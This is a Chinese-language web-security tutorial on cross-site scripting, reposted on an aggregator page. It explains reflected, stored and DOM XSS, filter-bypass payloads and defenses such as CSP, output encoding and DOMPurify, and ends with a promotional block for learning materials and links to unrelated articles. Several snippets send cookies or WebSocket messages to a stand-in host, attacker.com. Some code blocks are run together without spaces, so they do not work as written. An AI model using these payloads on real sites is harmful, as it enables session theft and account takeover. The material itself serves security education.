Web安全必知|XSS攻击详解:从漏洞挖掘到防护实战,看这篇就够了

XSS攻击详解

1. XSS攻击概述

XSS(Cross-Site Scripting,跨站脚本攻击)是一种将恶意脚本注入到可信网站中的安全漏洞。攻击者通过在Web页面中插入恶意脚本,当其他用户浏览该页面时,脚本会在用户浏览器中执行。

关键特征:

  • 攻击发生在用户浏览器
  • 利用网站对用户输入的信任
  • 绕过同源策略(SOP)的限制
  • 影响范围广泛:窃取Cookie、会话劫持、钓鱼攻击等

2. XSS攻击类型

2.1 反射型XSS(Reflected XSS)

特点:恶意脚本作为请求的一部分发送,服务器立即在响应中返回并执行

攻击流程

  1. 攻击者构造包含恶意脚本的URL
  2. 诱使用户点击该URL
  3. 服务器未过滤直接将脚本返回
  4. 用户浏览器执行恶意脚本

示例

http://vulnerable-site.com/search?q=<script>alert('XSS')</script>

2.2 存储型XSS(Stored XSS / Persistent XSS)

特点:恶意脚本被永久存储在目标服务器上(数据库、文件等)

攻击流程

  1. 攻击者将恶意脚本提交到网站(如评论、论坛帖子)
  2. 脚本被存储在服务器数据库中
  3. 其他用户访问包含该内容的页面
  4. 恶意脚本自动加载并执行

示例

<!-- 攻击者在评论中插入 --><script>varimg=newImage();img.src='http://attacker.com/steal?cookie='+document.cookie;</script>

2.3 DOM型XSS(DOM-based XSS)

特点:漏洞存在于客户端代码中,不涉及服务器响应

攻击流程

  1. 攻击者构造特殊URL
  2. 用户访问该URL
  3. 客户端JavaScript读取URL参数并动态更新DOM
  4. 恶意脚本被执行

示例

// 漏洞代码varhash=window.location.hash.substring(1);document.getElementById("content").innerHTML=hash;// 攻击URLhttp://site.com/page#<script>alert('XSS')</script>

3. XSS攻击技术细节

3.1 注入点

  • HTML元素内容:<div>用户输入</div>
  • HTML属性值:<input value="用户输入">
  • JavaScript代码:<script>var x = '用户输入';</script>
  • CSS样式:<style>用户输入</style>
  • URL参数:<a href="用户输入">链接</a>

3.2 绕过过滤的技术

HTML实体编码绕过
// 使用HTML实体编码<&lt;>&gt;" →&quot;' →&#x27;// 绕过方法:使用未编码的变体<img src=x onerror=alert(1)>
JavaScript编码绕过
// 使用Unicode、十六进制编码alert('XSS')→ \u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')
事件处理器利用
<!-- 多种事件触发方式 --><bodyonload=alert(1)><imgsrc=xonerror=alert(1)><svgonload=alert(1)>
伪协议利用
<ahref="javascript:alert(1)">点击</a><iframesrc="javascript:alert(1)">

4. 高级XSS攻击技术

4.1 基于Flash的XSS

// Flash中的漏洞利用 getURL("javascript:alert('XSS')"); loadMovie("javascript:alert('XSS')");

4.2 mXSS(突变XSS)

原理:浏览器HTML解析器与DOM解析器之间的不一致性

示例

<!-- 原始代码 --><div><style><img src=x onerror=alert(1)></style></div><!-- 解析后 --><div><style><img src="x"onerror="alert(1)"></style></div>

4.3 盲注XSS

特点:攻击者无法直接看到执行结果,需要通过外部通信确认

利用方式

// 发送请求到攻击者控制的服务器varxhr=newXMLHttpRequest();xhr.open('GET','http://attacker.com/log?data='+document.cookie);xhr.send();

5. XSS攻击链分析

5.1 信息收集阶段

// 获取敏感信息// Cookie窃取document.cookie// 本地存储localStorage.getItem('token')// 屏幕截图(需配合其他漏洞)// 表单数据捕获document.forms[0].addEventListener('submit',function(e){vardata=newFormData(this);// 发送到攻击者服务器});

5.2 持久化技术

// 自我复制到其他位置if(!window.hasOwnProperty('xss_payload')){window.xss_payload=true;// 注入到其他可编辑区域// 修改现有脚本// 创建隐藏iframe}

5.3 横向移动

// 自动发送恶意消息functionspreadXSS(){// 查找好友列表// 自动发送包含XSS的消息// 利用CSRF进行传播}

6. 现代XSS攻击向量

6.1 基于WebSocket的XSS

// WebSocket连接窃取varws=newWebSocket('ws://vulnerable-site.com/chat');ws.onmessage=function(event){// 将消息转发到攻击者服务器fetch('http://attacker.com/log',{method:'POST',body:event.data});};

6.2 Service Worker劫持

// 注册恶意Service Workerif('serviceWorker'innavigator){navigator.serviceWorker.register('malicious-sw.js').then(function(registration){console.log('Service Worker注册成功');});}

6.3 基于WebRTC的XSS

// 通过WebRTC泄露内部IPvarpc=newRTCPeerConnection();pc.createOffer().then(function(offer){// 解析SDP获取内部IPvarinternalIP=/([0-9]{1,3}(\.[0-9]{1,3}){3})/.exec(offer.sdp)[1];exfiltrate(internalIP);});

7. 防御措施

7.1 输入验证与过滤

// 白名单过滤示例functionsanitizeHTML(str){constallowedTags={'b':[],'i':[],'u':[],'em':[],'strong':[]};// 使用DOMPurify等库returnDOMPurify.sanitize(str,{ALLOWED_TAGS:Object.keys(allowedTags),ALLOWED_ATTR:[]});}

7.2 输出编码

上下文编码方式示例
HTML内容HTML实体编码&lt;script&gt;
HTML属性HTML属性编码&quot;alert(1)&quot;
JavaScriptJavaScript Unicode编码\u003Cscript\u003E
URL参数URL编码%3Cscript%3E
CSSCSS编码\3Cscript\3E

7.3 内容安全策略(CSP)

# 严格的CSP头 Content-Security-Policy: default-src 'none'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';

7.4 其他安全措施

// 1. HttpOnly CookieSet-Cookie:sessionId=abc123;HttpOnly;Secure// 2. 输入长度限制<input maxlength="100">// 3. 框架安全设置// X-Frame-Options: DENY// X-Content-Type-Options: nosniff

8. 检测与测试

8.1 手动测试向量

// 基础测试payload<script>alert(1)</script><img src=x onerror=alert(1)>"><script>alert(1)</script>javascript:alert(1)// 高级测试payload<svg onload=alert(1)><iframe src="javascript:alert(1)">

8.2 自动化扫描

# 使用工具# OWASP ZAPzap-cli quick-scan --self-contained http://target.com# XSStrikepython xsstrike.py -u"http://target.com/search?q=test"# 自定义检测脚本

8.3 浏览器安全特性

// Trusted Types APIif(window.trustedTypes&&window.trustedTypes.createPolicy){constpolicy=trustedTypes.createPolicy('default',{createHTML:(string)=>{// 自定义清理逻辑returnsanitizeHTML(string);}});}

9. 真实案例分析

案例1:社交媒体XSS蠕虫

// 著名的Samy蠕虫(MySpace,2005)// 通过个人资料页面传播// 感染超过100万用户// 关键代码:<div id=mycode style="BACKGROUND:url('javascript:eval(document.all.mycode.expr)')" expr="alert('XSS')"/>

案例2:DOM XSS in jQuery

// CVE-2020-11022/11023// 漏洞代码:$('<div>').html(userInput);// 修复:$('<div>').text(userInput);

10. 发展趋势与未来挑战

10.1 新兴威胁

  • WebAssembly中的XSS:通过Wasm模块绕过传统检测
  • Shadow DOM XSS:Web组件中的隔离问题
  • 机器学习模型投毒:间接导致XSS漏洞

10.2 防御演进

// 现代防御技术// 1. Subresource Integrity (SRI)<script src="https://cdn.example.com/script.js"integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"crossorigin="anonymous"></script>// 2. Cross-Origin Resource PolicyCross-Origin-Resource-Policy:same-site// 3. Fetch MetadataSec-Fetch-Site:cross-site Sec-Fetch-Mode:navigate

总结

XSS攻击仍然是Web安全中最普遍且危险的威胁之一。随着Web技术的发展,新的攻击向量不断出现。有效的XSS防御需要:

  1. 多层防御策略:输入验证、输出编码、CSP等多重保护
  2. 安全开发实践:在SDLC中集成安全测试
  3. 持续监控:实时检测和响应XSS攻击
  4. 安全意识:对开发者和用户进行安全教育
  5. 深度防御:结合其他安全措施(WAF、RASP等)

防御XSS不仅是技术挑战,更是持续的过程,需要开发团队、安全团队和运维团队的共同协作。随着Web技术的演进,XSS防护也需要不断更新和改进。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享**(安全链接,放心点击)**

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1219248.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何保存每次验证结果?CAM++输出目录结构详解

如何保存每次验证结果&#xff1f;CAM输出目录结构详解 在使用CAM说话人识别系统进行语音验证或特征提取时&#xff0c;你是否遇到过这样的问题&#xff1a;刚做完一次验证&#xff0c;想回头查看结果却发现页面刷新后数据没了&#xff1f;或者批量处理了十几段音频&#xff0…

unet image Face Fusion环境部署教程:免配置镜像快速启动

unet image Face Fusion环境部署教程&#xff1a;免配置镜像快速启动 你是不是也试过为一个人脸融合项目折腾半天环境——装CUDA、配PyTorch版本、下载模型权重、改路径、调依赖……最后卡在ModuleNotFoundError: No module named torchvision.ops&#xff1f;别急&#xff0c…

零基础入门深度学习?PyTorch-2.x-Universal-Dev-v1.0保姆级教程来了

零基础入门深度学习&#xff1f;PyTorch-2.x-Universal-Dev-v1.0保姆级教程来了 1. 这不是又一个“从零开始”的套路&#xff0c;而是真正能跑起来的起点 你是不是也经历过这些时刻&#xff1a; 看了三篇“PyTorch入门教程”&#xff0c;结果卡在环境配置第三步——pip inst…

想训练自己的AI?Unsloth让你离梦想更近一步

想训练自己的AI&#xff1f;Unsloth让你离梦想更近一步 你是不是也想过&#xff1a;不用动辄租用A100集群&#xff0c;不写几百行底层代码&#xff0c;也能亲手微调一个真正属于自己的大模型&#xff1f;不是调API&#xff0c;不是改提示词&#xff0c;而是从数据、参数、梯度…

新手必学:如何正确加载ROM到Batocera整合包中

以下是对您提供的博文内容进行 深度润色与专业重构后的技术文章 。整体风格已全面转向 资深嵌入式系统教学博主的自然表达口吻 &#xff1a;去除了所有AI腔、模板化结构、刻板标题和空泛总结&#xff1b;强化了真实开发场景中的“踩坑—思考—验证—解决”逻辑流&#xff1…

Vivado中多模块HDL综合实战案例

以下是对您提供的博文内容进行 深度润色与结构重构后的技术文章 。全文严格遵循您的所有优化要求&#xff1a; ✅ 彻底去除AI痕迹 &#xff0c;语言自然、专业、有“人味”——像一位在Xilinx一线奋战多年、带过多个Zynq/US项目的资深FPGA工程师在和你面对面交流&#xff…

UNet人脸融合老照片修复实测,细节还原惊人

UNet人脸融合老照片修复实测&#xff0c;细节还原惊人 老照片泛黄、模糊、划痕密布&#xff0c;亲人面容在时光中渐渐褪色——这是多少家庭共同的遗憾。当AI开始真正“看见”一张照片里被岁月掩埋的细节&#xff0c;修复就不再是简单的图像增强&#xff0c;而是一次跨越时间的…

手把手教你快速部署GPT-OSS,网页推理超简单

手把手教你快速部署GPT-OSS&#xff0c;网页推理超简单 1. 这不是“又一个大模型”&#xff0c;而是OpenAI真正开源的第一步 你可能已经看到消息&#xff1a;OpenAI悄悄放出了首个带权重的开源模型——GPT-OSS。它不是演示项目&#xff0c;不是简化版&#xff0c;而是实打实的…

小白也能用!SenseVoiceSmall镜像轻松实现AI语音情绪识别

小白也能用&#xff01;SenseVoiceSmall镜像轻松实现AI语音情绪识别 你有没有遇到过这样的场景&#xff1a;会议录音里领导语气明显不悦&#xff0c;但转写文字却只显示“这个方案需要再考虑”&#xff1b;客服录音中客户反复叹气、语速加快&#xff0c;系统却只记录下“我不满…

FP8版本来了!低显存也能跑Qwen-Image-Layered

FP8版本来了&#xff01;低显存也能跑Qwen-Image-Layered 运行环境&#xff1a; CPU&#xff1a;Intel(R) Xeon(R) Gold 6248R 3.00GHzGPU&#xff1a;NVIDIA RTX 4070 Ti&#xff08;12GB VRAM&#xff09;系统&#xff1a;Ubuntu 22.04.5 LTSPython&#xff1a;3.11.9PyTorc…

超详细版蜂鸣器电路设计:包含原理图与参数计算

以下是对您提供的博文《超详细版蜂鸣器电路设计&#xff1a;原理、参数计算与工程实践深度解析》的 全面润色与专业升级版本 。本次优化严格遵循您的全部要求&#xff1a; ✅ 彻底去除AI痕迹&#xff0c;语言更贴近资深硬件工程师口吻 ✅ 所有标题重构为自然、有力、具象的…

低功耗加法器电路结构:深度剖析方案

以下是对您提供的技术博文《低功耗加法器电路结构&#xff1a;深度剖析方案》的 全面润色与专业重构版本 。本次优化严格遵循您的全部要求&#xff1a; ✅ 彻底去除AI痕迹&#xff0c;语言自然、凝练、有“人味”——像一位深耕低功耗数字电路十年的资深IC设计工程师在和你面…

Z-Image-Turbo一键部署推荐:ModelScope生态下最佳实践指南

Z-Image-Turbo一键部署推荐&#xff1a;ModelScope生态下最佳实践指南 1. 为什么Z-Image-Turbo值得你立刻上手 你有没有试过等一个文生图模型下载权重文件半小时&#xff1f;或者在配置环境时被PyTorch版本、CUDA驱动、ModelScope缓存路径反复卡住&#xff1f;Z-Image-Turbo镜…

提升产线效率的DMA技术实践:项目应用

以下是对您提供的技术博文进行 深度润色与重构后的专业级技术文章 。全文已彻底去除AI生成痕迹&#xff0c;强化了工程师视角的实战语感、逻辑纵深与教学温度&#xff1b;结构上打破传统“引言-原理-应用-总结”的刻板框架&#xff0c;以真实产线问题为起点&#xff0c;层层递…

Unsloth微调全攻略:支持Windows和Linux双平台

Unsloth微调全攻略&#xff1a;支持Windows和Linux双平台 1. 为什么你需要Unsloth——不是又一个微调框架&#xff0c;而是效率革命 你有没有试过在本地显卡上微调一个14B参数的模型&#xff1f;等了六个小时&#xff0c;显存爆了三次&#xff0c;最后发现训练出来的模型连基…

Qwen高效微调实战

&#x1f493; 博客主页&#xff1a;借口的CSDN主页 ⏩ 文章专栏&#xff1a;《热点资讯》 Qwen高效微调实战&#xff1a;资源优化与场景落地的深度解析目录Qwen高效微调实战&#xff1a;资源优化与场景落地的深度解析 1. 引言&#xff1a;为什么高效微调成为AI落地的关键瓶颈&…

能否商用?unet人像卡通化授权协议解读案例

能否商用&#xff1f;UNet人像卡通化授权协议解读案例 1. 这个工具到底是什么&#xff1f; 你可能已经见过朋友圈里那些把真人照片变成日漫主角的效果——皮肤细腻、线条干净、眼神灵动&#xff0c;甚至自带柔光滤镜。这类效果背后&#xff0c;往往离不开一个叫“人像卡通化”…

2026年乐器评测:聚焦瑶鸾古筝Y103星辰的音质表现,瑶鸾古筝Y508系列/古筝,瑶鸾古筝供应商排行

在民乐领域,古筝作为传统乐器代表,其音色品质与制作工艺直接影响演奏者的体验与音乐表达。河南兰考作为中国泡桐木核心产地,凭借原料优势与工艺积淀,成为古筝制造的重要基地。其中,兰考瑶鸾乐器厂以十年制筝经验、…

语音识别应用场景盘点:这款镜像覆盖80%日常需求

语音识别应用场景盘点&#xff1a;这款镜像覆盖80%日常需求 你有没有过这样的经历&#xff1a;会议录音堆了十几条&#xff0c;却没时间逐条听写&#xff1b;采访素材录了一小时&#xff0c;整理文字花了三天&#xff1b;客户语音留言太多&#xff0c;漏掉关键信息被追着问&am…

均质器哪家企业信誉好、口碑好、质量好?实力厂家与知名企业一览

一、2026 年均质器市场竞争格局分析2026 年全球均质器市场呈现 “国际品牌稳守高端,国产品牌突围中端” 的竞争格局。数据显示,全球高压均质机市场规模已达 39 亿元,欧洲、北美仍是核心技术输出地,而中国、印度等亚…